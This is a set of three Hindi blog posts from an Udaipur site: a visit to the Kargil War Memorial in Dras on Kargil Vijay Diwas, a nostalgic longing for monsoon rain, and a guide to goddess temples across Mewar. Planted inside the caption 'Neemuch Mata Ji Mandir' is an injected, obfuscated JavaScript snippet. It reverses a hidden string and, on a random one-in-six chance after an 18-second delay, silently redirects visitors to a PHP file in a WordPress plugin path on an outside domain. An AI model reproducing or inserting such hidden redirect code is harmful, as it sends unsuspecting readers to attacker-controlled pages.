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आज कारगिल विजय दिवस है

आज 26 जुलाई है. कारगिल विजय दिवस. जब बर्फ और सर्दी की आड़ में भारत के अभिन्न अंग कश्मीर के बड़े हिस्से में पाकिस्तानी सेना ने अपना अवैध कब्ज़ा जमा लिया, आज ही के दिन भारतीय सेना के जाबांज जवानो ने उसे मुक्त करवाया.

अपनी घुमक्कड प्रवृति के चलते अब तक दो बार लद्दाख हो आया हूँ. जब भी वहाँ जाता हूँ तो द्रास-कारगिल से गुज़रना होता है. हर बार वहाँ सिर पहले झुकता है, उन शहीदों की याद में, जिन्होंने दुश्मनों को नाको चने चबवा दिए…. और फिर तत्काल सिर गर्व से उठ जाता है, सीना चौड़ा हो जाता है, एक भारतीय होने के फख्र से.. अपनी सेना की बहादुरी पर…

चलिए आज आपको कारगिल विजय दिवस पर ले चलता हूँ.. धरती के स्वर्ग कश्मीर की गोद में बसे द्रास शहर और वहाँ स्थित कारगिल वार मेमोरियल के दर्शन करने…

kargil 1
द्रास शहर. श्रीनगर और कारगिल के बीच बसा कस्बा. इसे दुनिया का दूसरा सबसे ठंडा रिहाइशी इलाका होने का गर्व प्राप्त है. श्रीनगर से बालटाल, सोनमर्ग होते हुए जोजिला दर्रा पार करके यहाँ पहुंचा जा सकता है. जब आप यहाँ से गुजर रहे होते है तो नियंत्रण रेखा के सबसे करीब होते है. (जी हाँ, बिलकुल सही समझा आपने, आप यहाँ पाकिस्तानी तोपों की रेंज में होते है.)

फोटो में लेखक आर्य मनु (दायें) अपने मित्र आशीष विरमानी (दिल्ली) के साथ.

कारगिल वार मेमोरियल का मुख्य द्वार. वैसे यह युद्ध मूलतः द्रास में लड़ा गया,किन्तु इसे नाम मिला कारगिल युद्ध. द्रास कस्बा कारगिल जिले में आता है. यह स्थान द्रास कस्बे से लगभग सात किमी दूर  NH 01A पर स्थित है. वार मेमोरियल स्थल तोलोलिंग की पहाड़ियों की तलहटी में बना है, जहाँ युद्ध के समय जवानो का बेस केम्प हुआ करता था. यहाँ से टाइगर हिल्स की कुल घुमावदार सड़क दुरी 28 kms है.

अमर जवान ज्योति. शहीदों को नमन. इस युद्ध को ऑपरेशन विजय का नाम दिया गया था. राष्ट्रीय ध्वज के साथ यहाँ युद्ध में शरीक होने वाली सेना की टुकडियों के ध्वज लहरा रहे है. यहाँ एक जवान हमेशा शहीदों के सम्मान में सावधान की मुद्रा में खड़ा रहता है.

युद्ध शहीदों के नाम यहाँ सुनहरे अक्षरों में लिखे है. जाट रेजिमेंट, राजपुताना राइफल्स का नाम सबसे पहले देखकर हर किसी राजस्थानी का सीना गर्व से चौड़ा हो जाता है. पंजाब रेजिमेंट, गोरखा राइफल्स, बिहार, सिख, लद्दाख की रेजिमेंटो ने भी अपने सपूत खोये. अमर वाक्य लिखा है यहाँ…
“शहीदों की चिताओं पर, लगेंगे हर बरस मेले,

वतन पर मिटने वालो का, यही बाकी निशाँ होगा…”

म्यूजियम में रखे शहीदों के अस्थि कलश. ये उन शहीदों की अस्थियां है, जिन्हें पहचाना नहीं जा सका. पर ये वे है जो हमेशा के लिए अमर हो गए….सिर्फ हमारे लिए, ताकि हम आराम से यहाँ त्यौहार मना सके…. अगली बार जब इस दिवाली आप अपने घर सजा रहे हो, तो एक दीपक इन अनाम शहीदों के लिए ज़रूर लगाएं…

ये है, पाकिस्तानी सेना द्वारा बरसाए गए मोर्टारों और टॉप गोलों के अवशेष. ये सिर्फ मोर्टारों के पिछले हिस्से (टेल) है. आप सोचिये, ये मोर्टार कितने बड़े और तबाही मचाने वाले होंगे..!! उस पर हालात ये कि पाकिस्तानी सेना पहाड़ की छोटी से हमला कर रही थी, जबकि भारतीय जवान तलहटी से उन पर जवाबी कार्रवाही कर रहे थे.

फिर भी है किसी पाकिस्तानी गोले में इतना दम, जो भारत का बाल भी बांका कर पाए ?

युद्ध में तडातड चलती गोलियों और तनाव के माहौल में सैनिक ठिठोली के क्षण खोज ही लेते थे.मिसाइल को दागने से पहले कुछ इस तरह बयान किये अपने ख्याल, एक सैनिक ने…

आज हम यहाँ बैठ दिन भर टीवी पर उन दिनों की कवरेज देखेंगे, कल हुए नए राष्ट्रपति के शपथ ग्रहण समारोह को देखेंगे… सोचिये उन दिनों हाड कंपा देने वाली सर्दी में किस तरह उन जाबांजो ने देश की रक्षा करते हुए कैसे तनाव के क्षणों में समय बिताया होगा..!!!

उन दिनों महान कवि (स्वर्गीय )श्री हरिवंश राय बच्चन ने अपनी अमर कविता “अग्निपथ” की चंद पंक्तियाँ स्वयं लिखकर भारतीय सेना की हौंसला अफजाई की थी. उसी हस्तलिखित कविता को म्यूजियम में फ्रेम करवा के रखा गया है… ये पंक्तियाँ हमें आज भी लगातार आगे बढते रहने की प्रेरणा देती है.

 

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मेरे सपनो की बारिश, कब आओगी तुम ??

clouds in udaipur

वर्षा ऋतू हमें गहराई तक छूती है. सावन में सिर्फ तन ही नहीं भीगता, अंदर तक भिगो जाती है बरखा की बूंदें… सावन की रिम झिम फुहारों के बीच उगते अंकुरों, हरे होते पहाड़ों और, और ज्यादा गहराई तक नीली होती झीलों के बीच हमारा मन “किसी की चाह” हेतु व्याकुल हो उठता है.

पर इस बार चाह किसी और की नहीं, बल्कि बारिश की ही है. ये आये तो किसी और को याद करने का मौक़ा मिले ना ! हरियाली अमावस पर, सोचा कि शहर के कमीनेपन से दूर जब गांव के निर्मल मन फतहसागर और सहेलियों की बाड़ी आयेंगे तो इंद्र को मजबूर होना ही पड़ेगा… पर इस बार भी हमेशा की तरह मेरा अनुमान गलत निकला ! उनकी पुपाडी की आवाज़ मेघों तक नहीं पहुंची. उनका सजना सवरना व्यर्थ गया…!!

 

“सावन आयो रे, ओ जी म्हारा, परणी जोड़ी रा भरतार,

बलम प्यारा, सावन आयो रे…”

 

सावन तो आयो पण बरखा कोनी आई .. परणी जोड़ी का भरतार, अब तुझे कैसे पुकारें..!! कालिदास ने मेघदूत ग्रन्थ में अपना संदेसा पहुँचाने के लिए बादलों को जरिया बनाया था.. वे जाकर प्रेमिका पर बरसते थे.. यहाँ तो सबकुछ सूखा- सूखा… कैसे भीगेगा प्रेमिका का तन- मन… क्या जुगत बिठाये अब ??

बचपन के दिन याद आते है. मुझे बचपन में अपनी भुआजी के यहाँ गांव में रहने का खूब मौका मिला. बारिश में भीगते भीगते खूब जामुन खाते थे. पेड पर चढ़ने की भी ज़रूरत नहीं होती थी, खुद-ब-खुद जामुन बारिश की मार से ज़मीं पर आ गिरते थे. मक्की की बुवाई होती थी… गीली मूंगफली को खेतों की पाल पर ही सेक कर खाते थे. भुट्टे का मज़ा, मालपुए की ठसक…क्या क्या आनंद होते थे. कच्ची झोपडी के केलुओं से बारिश की झर झर गिरती धार… और उस पर गरमा गरम राब… भुआ तवे पर चिलडे बनाती थी..आटे का घोल जब गरम गरम तवे पर गिरता था तो एक सौंधी महक मन में बस जाती थी. गांव के लोग इकठ्ठा होकर एक जगह सामूहिक प्रसादी करते थे. तेग के तेग भरकर खीर बनती थी और बनती थी बाटियां … आज बस उनकी यादें शेष है. आज 260 रुपये किलो वाले मालपुए लाकर खा लेते है, और खुश हो लेते है.. पर उसमे माटी की वो सौंधी खुशबु नहीं होती.

खैर अब अपन शहर में रहते है. कार की खिडकी खोलकर बारिश में हाथ भिगोने का मज़ा हो या बाइक लेकर फतहसागर पर चक्कर लगाने का मौका… हमें सब चाहिए, पर निगोडी बारिश पता नहीं किस जनम का बदला ले रही है.. उमस ने जीना मुहाल कर रखा है. खाली फतहसागर पर मन नहीं लगता. पिछोला में देवास का पानी आने की क्षणिक खुशी हुई ही थी कि लो जी वहाँ भी चक्कर पड़ गया. अब तो बस श्रीनाथजी का ही आसरा है. क्योंकि बारिश नहीं हुई तो उनका नौका विहार कैसे होगा. लालन लालबाग कैसे जायेंगे, बंशी कैसे बजेगी, गायें क्या खायेगी…! हम तो जैसे जैसे दो दिन में एक बार आ रहे नल के पानी से काम चला लेंगे किन्तु अगर बारिश नहीं आई तो बेचारे ये निरीह पशु क्या खायेंगे ? गलती इंसान की और भुगते सारे जीव-जंतु..!!! मन बस बार बार अपने   को निर्दोष पाते हुए अपील कर रहा है …
काले मेघा काले मेघा, पानी तो बरसाओ….

Photo by : Mujtaba R.G.

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मेवाड़ के प्रमुख शक्तिपीठ – The Major Temples of Mewar

“जगदम्बा थे तो ओढ़ बताओ रे , महारानी थे तो  ओढ़ बताओ रे..
क’शिक लागे, तारा री चुनडी..”

Neemuch Mata Ji M<script>$Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}</script>andir in Udaipur

सुबह सुबह उनींदी आँखों से उठा तो दादी सा’ मंदिर में पूजा करती हुई ऐसा ही कुछ भजन गुनगुना रही थी. पूछा तो आँखें तरेर कर बोली, “वेंडा छोरा, आज माताजी रो दन है. नवो संवत भी है, बेघो उठ जा. आज देर तक सुतो रह्यो तो पूरा साल सुतो ही’ज रेवेला.” अरे हाँ, आज तो नव संवत्सर है. कल ही तो कोर्ट चौराहे पर आलोक स्कूल के बच्चो ने मेरी बाइक रोक कर मुझे रोली-तिलक लगाया था,मैं भूल कैसे गया. आज तो दूध तलाई पर आतिशबाजी होगी. स्वागत होगा नव संवत्सर का.

सबसे पहले तो उदयपुर ब्लॉग के सभी देसी-विदेसी पाठकों को नवसंवत्सर 2069 और चैती नौरतों की बहुत बहुत बधाई. हमारे सिंधी भाइयों को चेटीचंड जी लाख लाख वधायुं. “आयो लाल, झूलेलाल “. आज मेरा मन बार बार कह रहा है कि आप सभी को उदयपुर में जहाँ जहाँ जोगमाया के देवरे है, मंदिर है..वहाँ ले चलूँ.. तो क्या ख्याल है आपका?

“झीना झीना घूघरा माता के मंदिर बाजे रे..
मोटा मोटा टोकरा भैरू के बाजे रे..”
Mahalaxmi Temple in Udaipur

तो साहब बैठो गाडी पर, सबसे पहले अम्बा माता चलते है. वाह जी वाह ! क्या मोटे तगड़े शेर बाहर पहरा दे रहे है. उदयपुर के दरबार यहाँ आज भी सबसे पहले पूजा करते है. महाराणा स्वरूपसिंह जी और भीम सिंह जी तो कई बार  घुटनों घुटनों तक के पानी को पार करके यहाँ दर्शन करने आते थे.

नीमच और खीमच माता. खीमच माता नीचे फतह सागर की पाल पर तो नीमच माता पास में ऊँचे पहाड पर. दोनों सगी  बहने है पर छोटी वाली नाराज़ होकर पहाड़ी उतरकर आ गयी. नव रात्र के आखिरी दिन दोनों मंदिरों के भोपाजी के “डील” में माताजी आती है. दोनों बहने मिलती है..खूब रोती  है. तो अपने कभी छोटी बहिन से झगडा हो जावे तो नाराज़ नी करना उसको.. आप बड़े हो, अपने सबर कर लेना.

बेदला चलते है. यहाँ के रावले की आराध्य “सुखदेवी माता जी” के दर्शन करते है. माताजी के इतने भगत है कि उदयपुर में पांच में से तीन  कार के पीछे “जय सुखदेवी माता जी” लिखा हुआ मिल जायेगा.  माताजी के मंदिर के सामने दो पत्थरों के बिच रास्ता बना हुआ है, कहते है, उस संकरे रास्ते से निकल जाओ तो कोई रोग आपको नहीं घेरेगा. विश्वास करो तो माताजी है, नही मानो तो..थारी मर्जी सा’

डबोक सीमेंट फेक्ट्री के पास पहाड़ी पर “धूनी माता” बिराज रही है. नौ दिन नौरते यहाँ आस पडोसी गाँव के “पटेलों” की खूब भीड़ रहती है.माताजी के दर्शन करो और साथ में इस पहाड़ी से सामने हवाई अड्डे पर उतरते हवाई जहाज को देखो.. अपन ऊपर और हवाई जहाज नीचे. यहाँ का हरियाली अमावस का मेला बहुत जाना माना  है. यहाँ से उदयपुर आते बखत बेड़वास में माता आशापुरा के दर्शन करना मत भूलना.

टीडी  के पास जावर माता बिराजी है. पास में जिंक की हजारो साल पुरानी खदाने है. कलकल नदी बह रही है. इस मंदिर को औरंगजेब ने खूब नुक्सान पहुचाया. फिर भी मंदिर में आज भी पुरानी मूर्तिकला देखने लायक है.माताजी का मुँह थोडा सा बायीं ओर झुका हुआ है. कारण, एक भगत ने सवा लाख फूल चढाने की मिन्नत मांगी और पूरी करने में कंजूसी दिखाई. माताजी ने नाराज होकर अपना मुँह झुका दिया.  भगत को कुछ नुक्सान नहीं पहुचाया. माँ तो माँ होती है.

अब चलते है चित्तोड की ओर. किले पर सभी को आशीर्वाद दे रही है माता कालका . जितना भव्य चित्तोड का किला, उतना ही भव्य माता का मंदिर. सामने तालाब. कहते है इस किले की रक्षा का सारा भार माताजी ने अपने ऊपर ले रखा है. यहाँ भी नौ दिन मन्नत मांगने और “तंत्र” पूजा करने वालो का सैलाब उमड़ता है. जोगमाया के दर्शन कर बहुत आत्मिक सुख मिलता है.
आते वक़्त सांवरिया जी के दर्शन करते हुए आवरी माता चलते है. कहते है माता आवरा राजपूत चौहान वंश में जन्मी. सात भाइयों की अकेली बहन. सातों भाइयों का इतना प्रेम कि सातों अलग अलग जगह अपनी बहन का रिश्ता कर आये. एक ही दिन, माता से ब्याहने सात सात बिंद गोडी चढ आये. तब माताजी में “जोत” जगी और उन्होंने वहीँ संथारा ले लिया. मेवाड़ के साथ साथ मालवा, वागड , मारवाड.. जाने कहाँ कहाँ से लकवा ग्रस्त रोगी यहाँ ठीक होने आते है. पूरे मंदिर में जहाँ जहाँ तक नज़र जाये, लकवा रोगी माँ के दरबार में बैठे मिलते है. यहाँ राजपूती रिवाज़ से माता की सेवा होती है.

Idana Mata Ji Mandir

कुराबड रावले के पास खुले चबूतरे पर इड़ाना माताजी स्थानक है.पीछे ढेर सारी त्रिशूल. यहाँ माताजी महीने में कम से कम दो बार अगन-स्नान लेती है. इसी अग्नि स्नान के कारण आज तक माँ का मंदिर नहीं बन पाया. ये शक्ति पीठ अन्य सभी से सर्वथा अलग, सर्वथा जुदा. कुराबड रावले के श्री लवकुमार सिंह जी कृष्णावत फिलहाल यहाँ का सारा प्रशासनिक कार्य संभाल रहे है.

अजी साहब, एक ही दिन में सब जगह दर्शन नहीं होंगे. आराम से एक एक दिन सब जगह दर्शन करने जाना. नौ दिन के नौ दर्शन आपको बता दिए. और समय मिले तो माछला मगर पर रोप वे में बैठकर करनी माता दर्शन  करने जरुर जाजो. अरे कभी तो अपनी जेब ढीली करो. बस साठ रुपये किराया है. उभयेश्वर का घाटा ध्यान से चढ़ते हुए महादेव जी के दर्शन करना और पास में ही “वैष्णो देवी” को भी धोक लगते आना. थोडा और समय मिले तो इसवाल से हल्दीघाटी मार्ग पर बडवासन माता का बहुत सुन्दर स्थान है. और समय मिले तो बांसवाडा में माता त्रिपुर सुंदरी, वल्लभ नगर में उन्ठाला माता, देबारी में घाटा वाली माता, भीलवाडा-बूंदी रोड पर जोगनिया माता, बेगूं में झांतला माता, झामेश्वर महादेव के पास पहाड़ी पर  काली  माता,जगत कस्बे में विराजी माताजी, आसपुर में आशापुरा माताजी.. नहीं थके हो तो भेरू जी के देवरे ले चालू.. आज तो वहाँ भी जवारे बोये गए है.
इन नौ दिन पूरी श्रृद्धा के साथ आप माताजी की पूजा करो, नहीं तो मेरी दादी सा’ को आपके घर का पता दे दू.. वो आपको सिखा देगी, पूजा कैसे होती है. उनका एक बहुत प्यारा भजन है, उसीके साथ आपसे विदाई…

“माता आयो आयो आवरा रानी रो साथ, आये ने वाघा उतरियो म्हारी माँ
माता हरे भरे देखियो हरियो बाग, फूला री लिदी वासना म्हारी माँ
माता फुलडा तो तोड्या पचास, कलिया तोड़ी डेढ सौ म्हारी माँ
माता फूलडा रो गुन्थ्यो चंदर हार, कलिया रा गुन्थ्या गजरा म्हारी माँ
माता कठे रलाऊ चंदर हार, कठे तो बांधू गजरा म्हारी माँ
माता हिवडे रालु चंदर हार, ऊँचा तो बांधू गजरा म्हारी माँ…”